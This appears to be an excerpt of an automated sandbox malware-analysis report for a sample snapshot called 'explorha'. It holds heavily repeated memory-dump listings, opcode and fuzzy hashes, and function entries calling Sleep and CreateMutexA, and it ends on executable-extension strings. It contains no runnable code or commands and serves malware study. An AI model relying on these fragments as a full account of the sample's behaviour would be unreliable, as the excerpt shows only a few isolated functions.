Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: eb352f738865f505f5b15370f9ca4aa653b24b5364bd0f0589c7c0912b1f5da2
Instruction ID: d47dbbc1131c2b6ac8416fdb32adb72026bcd46cf78744310484d02543f3e230
Opcode Fuzzy Hash: eb352f738865f505f5b15370f9ca4aa653b24b5364bd0f0589c7c0912b1f5da2
Instruction Fuzzy Hash: 7031E671600348EBEB08DB6CCD8979DB6A2AB86314F208718E415D73D7EBBD59808762

Uniqueness

Uniqueness Score: -1.00%

Function 0070A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 14e13933b342fcbfd142f665bb237e88de3d689147a0592a029cf4a1e29306f3
Instruction ID: 1b17d3ad8651c89c5be3a85d7ab20b11ce7575fccfaa608f057d78709785c97a
Opcode Fuzzy Hash: 14e13933b342fcbfd142f665bb237e88de3d689147a0592a029cf4a1e29306f3
Instruction Fuzzy Hash: 9D310471600348EBEB08DB6CCC997ADB7B2EB86314F208718E815D72D2D7BD59808762

Uniqueness

Uniqueness Score: -1.00%

Function 0070958C Relevance: 3.1, APIs: 2, Instructions: 106
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 620dfaef22e54693a0489d4ed0ca1b64bb2d7d1e933f636a09e1e27d82f31d56
Instruction ID: 1a379052d6876eb2b9a8a42474ccfd82aff817ae5393feb8bfc5a74f63eca5ed
Opcode Fuzzy Hash: 620dfaef22e54693a0489d4ed0ca1b64bb2d7d1e933f636a09e1e27d82f31d56
Instruction Fuzzy Hash: CF212971604244DBFB18DF6CCD897ADFBA2EB45304F208718E915973D2D7BD59808752

Uniqueness

Uniqueness Score: -1.00%

Function 0070A326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 42af1f032d9ba2581048245d7d9b6326d8cd02fba328ef6ae591617b82aaecef
Instruction ID: 4c35e5183dba0951823c646c83c5d0d932ebdc5d725f855eb007a6cf6d6e6d39
Opcode Fuzzy Hash: 42af1f032d9ba2581048245d7d9b6326d8cd02fba328ef6ae591617b82aaecef
Instruction Fuzzy Hash: 6E210870644304F7F728AB6C884F76DF6D2EF41300F208715E941C62D2CABD5880C267

Uniqueness

Uniqueness Score: -1.00%

Function 00709E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cfc74b21adfcdd153e0174b5e1dbff963f8ed3fa81fc10b7d39292b9416ce819
Instruction ID: 975728bbbd3e5a71c2e0219006196cc8ad82a69368422ca0af57e75d47495ff1
Opcode Fuzzy Hash: cfc74b21adfcdd153e0174b5e1dbff963f8ed3fa81fc10b7d39292b9416ce819
Instruction Fuzzy Hash: 46210872604344EBFB08DB6CDC897ADB7A2EB86311F204728E915D62D2D7BD59808752

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00744330 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 450COMMON

Download Yara Rule

Strings

Xt, xrefs: 0074434B, 007444D4, 007446FD, 00744697, 00744523, 007444A9
Xt, xrefs: 00744757, 00744595, 0074459D

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: Xt$Xt
API String ID: 0-475810656
Opcode ID: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction ID: 46d1666ecafddbc1b3e160ed27bdb8499bb4b4570d2edfd9c1c932b231513696
Opcode Fuzzy Hash: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction Fuzzy Hash: 51F14C71E012199BDF14CFA8D8807AEBBF1FF89314F258269D819AB345D735AE01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00738829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0073886B

Strings

.cmd, xrefs: 00738889
.exe, xrefs: 00738878
.com, xrefs: 007388AB
.bat, xrefs: 0073889A

